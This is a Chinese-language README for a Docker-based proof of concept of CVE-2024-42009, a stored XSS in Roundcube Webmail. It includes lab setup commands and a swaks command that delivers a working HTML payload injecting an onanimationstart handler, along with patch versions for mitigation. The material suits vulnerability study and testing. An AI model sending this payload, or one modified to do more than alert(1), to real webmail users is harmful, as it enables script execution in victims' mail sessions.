CVE-2024-42009 – Roundcube存储型XSS（Docker PoC）

📌 概述

该仓库演示了针对 CVE-2024-42009 的有效概念验证（PoC），这是 Roundcube Webmail 中的一个存储型跨站脚本（XSS）漏洞。

该漏洞由不正确的 HTML 净化以及随后不安全地重新处理属性导致，攻击者可通过构造的 HTML 邮件注入恶意事件处理程序。

⚠️ 受影响版本

Roundcube ≤ 1.5.7
Roundcube ≤ 1.6.7

🧠 漏洞摘要

Roundcube 会净化收到的 HTML 邮件，但随后会重新处理某些属性（例如 bgcolor、畸形属性），导致：

属性边界混淆
注入新属性
重新引入危险的事件处理程序（例如 onanimationstart）

当受害者打开恶意邮件时，可执行任意 JavaScript。

🐳 环境搭建（Docker）

1. 克隆仓库

git clone https://github.com/ZaidArif47/CVE-2024-42009-PoC.git
cd CVE-2024-42009-PoC

2. 启动漏洞环境

docker compose up -d

⏳ 等待约 10–15 秒，让邮件服务器完成初始化。

3. 创建测试用户

docker exec mailserver setup email add [email protected] 'attacker123'
docker exec mailserver setup email add [email protected] 'victim123'

4. 访问 Roundcube

http://localhost:8080

凭据：

[email protected] / victim123
[email protected] / attacker123

💣 漏洞利用

使用 swaks 工具发送恶意邮件：

swaks --to [email protected] \
      --from [email protected] \
      --server localhost:2525 \
      --header "Content-Type: text/html; charset=utf-8" \
      --header "Subject: CVE-2024-42009 PoC" \
      --body '<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=alert(1) foo=bar">Foo</body>'

📸 概念验证

登录 Roundcube 受害者账户
打开邮件收件箱
JavaScript 执行（弹出 alert 对话框）

1. 恶意邮件已发送

步骤 1

2. XSS 被触发

步骤 3

🛡️ 缓解措施

升级至修复版本：

Roundcube ≥ 1.6.8
Roundcube ≥ 1.5.8

📚 参考资料

⚖️ 免责声明

本项目仅供教育和授权的安全研究使用。未经适当许可，请勿用于任何系统。

CVE-2024-42009

最受欢迎